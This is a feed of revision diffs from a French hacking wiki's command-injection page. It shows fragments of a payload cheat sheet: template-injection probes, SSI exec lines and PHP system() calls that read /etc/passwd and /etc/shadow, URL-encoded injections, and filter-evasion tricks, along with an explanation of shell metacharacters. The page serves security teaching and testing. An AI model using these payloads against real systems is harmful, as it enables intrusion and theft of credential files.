&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  ||  &lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  ||  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l793&quot;&gt;Ligne 793 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 794 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Références ==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Références ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93580&amp;oldid=prev</id>
		<title>OldNeib : /* Unix */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93580&amp;oldid=prev"/>
		<updated>2023-12-02T18:56:30Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Unix&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 2 décembre 2023 à 20:56&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l368&quot;&gt;Ligne 368 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 368 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  cat /etc/passwd&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  cat /etc/passwd&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  %0Acat%20/etc/passwd&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  %0Acat%20/etc/passwd&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{ get_user_file(&quot;/etc/passwd&quot;) }}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{ get_user_file(&quot;/etc/passwd&quot;) }}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93576&amp;oldid=prev</id>
		<title>OldNeib : /* Unix */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93576&amp;oldid=prev"/>
		<updated>2023-12-02T18:52:21Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Unix&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 2 décembre 2023 à 20:52&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l374&quot;&gt;Ligne 374 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 374 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  system('cat /etc/passwd');&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  system('cat /etc/passwd');&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt; &lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===== Windows =====&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===== Windows =====&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  `&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  `&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93571&amp;oldid=prev</id>
		<title>OldNeib : /* Cheat Sheet */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93571&amp;oldid=prev"/>
		<updated>2023-12-02T17:49:17Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Cheat Sheet&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;a href=&quot;https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;amp;diff=93571&amp;amp;oldid=93570&quot;&gt;Voir les modifications&lt;/a&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93570&amp;oldid=prev</id>
		<title>OldNeib : /* Références */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93570&amp;oldid=prev"/>
		<updated>2023-12-02T17:42:42Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Références&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 2 décembre 2023 à 19:42&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l275&quot;&gt;Ligne 275 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 275 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93569&amp;oldid=prev</id>
		<title>OldNeib : /* ${SHELLOPTS} */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93569&amp;oldid=prev"/>
		<updated>2023-12-02T17:38:24Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;${SHELLOPTS}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 2 décembre 2023 à 19:38&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l130&quot;&gt;Ligne 130 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 130 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;=&lt;/del&gt;==== ${SHELLOPTS} &lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;=&lt;/del&gt;====&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==== ${SHELLOPTS} ====&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93568&amp;oldid=prev</id>
		<title>OldNeib : Page créée avec « Lors de &lt;b&gt;l'exécution d'une commande en ligne&lt;/b&gt; prenant en paramètre une &lt;b&gt;entrée utilisateur&lt;/b&gt;, il est parfois possible de &lt;b&gt;s'évader du champ d'action&lt;/b&gt; prévu par l'ajout de &lt;b&gt;certains caractères&lt;/b&gt;: == Les Métacharacteres ==   ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.   &amp;	| Il sépare plusieurs commandes su... »</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93568&amp;oldid=prev"/>
		<updated>2023-12-02T17:37:55Z</updated>

		<summary type="html">&lt;p&gt;Page créée avec « Lors de &amp;lt;b&amp;gt;l&amp;#039;exécution d&amp;#039;une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s&amp;#039;évader du champ d&amp;#039;action&amp;lt;/b&amp;gt; prévu par l&amp;#039;ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;: == Les Métacharacteres ==   ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d&amp;#039;injection. Le shell exécute toutes les commandes séparées par le point-virgule.   &amp;amp;	| Il sépare plusieurs commandes su... »&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Nouvelle page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
